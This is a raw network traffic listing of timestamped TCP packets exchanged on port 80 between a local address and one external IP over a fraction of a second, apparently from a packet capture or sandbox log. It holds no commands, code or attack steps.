Jan 2, 2025 20:34:51.076266050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076267958 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076282978 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076298952 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076304913 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076314926 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076327085 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076332092 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076335907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076347113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076361895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076390028 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076666117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076680899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076690912 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076728106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076728106 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076738119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076745987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076756954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076767921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076769114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076777935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.076790094 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.076814890 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.079145908 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079200029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.079242945 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079252958 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079266071 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079277992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079284906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.079288006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079299927 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079310894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.079327106 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.079348087 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.079376936 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080142021 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080185890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080189943 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080195904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080233097 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080246925 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080251932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080257893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080269098 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080284119 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080302000 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080302000 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080312967 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080323935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080343962 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080362082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080446959 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080456972 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080466986 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080478907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080490112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080493927 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080501080 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080512047 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080526114 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080540895 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080566883 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080568075 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080585003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080595970 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080605984 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080606937 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080617905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080620050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080640078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080641985 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080651045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080662966 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.080666065 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.080703974 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.090783119 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090794086 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090805054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090816975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090826988 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090827942 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.090845108 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.090864897 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.090904951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090915918 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090926886 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090935946 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.090941906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.090956926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.090977907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.093182087 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093193054 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093209982 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093220949 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093231916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093242884 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093242884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.093242884 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.093255043 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093265057 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.093282938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.093303919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.093338966 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.094182968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094194889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094204903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094223022 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094233036 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094238043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.094244957 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094254971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094255924 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.094266891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094275951 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.094276905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.094316959 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.094336033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.097135067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097151041 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097161055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097172976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097177029 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.097193003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097197056 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.097206116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097215891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097218037 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.097225904 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.097239017 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.097259998 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.100905895 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.100918055 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.100928068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.100939035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.100946903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.100950003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.100960016 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.100971937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.100976944 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.100991011 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.101010084 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.101030111 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.101625919 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101644039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101653099 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101670027 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.101670027 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101680994 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101691961 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.101721048 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.101738930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101749897 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101762056 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101771116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.101783991 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.101819038 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.104564905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104584932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104593992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104604006 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104614973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104624033 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.104626894 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104639053 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104648113 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104655981 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.104659081 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.104695082 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.104717016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.106877089 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.106889009 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.106899023 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.106909037 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.106920004 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.106930971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.106936932 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.106941938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.106967926 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.106988907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.159131050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159145117 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159163952 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159173965 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159189939 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159195900 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.159200907 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159213066 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159224033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.159225941 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.159231901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.159251928 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.161422968 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161433935 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161444902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161454916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161470890 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161473989 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.161492109 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.161505938 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161505938 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.161518097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161528111 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.161537886 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.161555052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163064003 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163075924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163086891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163096905 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163109064 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163114071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163119078 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163130045 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163130045 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163141012 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163156986 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163171053 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163188934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163355112 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163395882 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163420916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163429976 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163446903 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163459063 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163461924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163474083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163477898 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163485050 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163496017 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163500071 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163505077 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.163523912 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.163544893 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.166152954 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166163921 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166174889 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166184902 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166194916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166202068 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166204929 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.166208029 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166213989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166220903 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.166271925 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.166976929 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.166985989 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167001963 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167012930 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167017937 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167022943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167032957 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167035103 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167046070 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167052031 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167062044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167067051 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167083025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167104006 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167124033 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167124987 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167138100 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167149067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167160034 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167161942 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167177916 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167185068 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167186975 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167198896 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167201996 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167222977 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167242050 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167360067 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167371035 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167382002 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167392015 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167396069 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167408943 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167414904 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167419910 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167431116 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167432070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167442083 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167450905 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167452097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167464018 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.167473078 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167489052 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.167506933 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.177623987 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.177690983 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.177700996 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.177707911 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.177717924 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.177725077 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.177728891 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.177740097 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.177762032 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.177768946 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.177788973 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.179959059 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.179980040 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.179991961 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.179996967 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180011034 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.180016994 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180027008 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.180031061 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180051088 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180057049 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.180067062 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.180068016 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180078030 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.180088043 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180108070 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180927992 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.180948973 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.180970907 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.180990934 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.181082010 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.181093931 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.181104898 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.181116104 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.181119919 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.181128025 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.181138039 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.181145906 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.181176901 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.184056044 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184067011 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184072971 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184078932 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184089899 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184101105 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184112072 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184120893 CET	80	49730	47.254.187.72	192.168.2.4
Jan 2, 2025 20:34:51.184153080 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.184313059 CET	49730	80	192.168.2.4	47.254.187.72
Jan 2, 2025 20:34:51.187853098 CET	80	49730	47.254.187.72	192.168.2.4
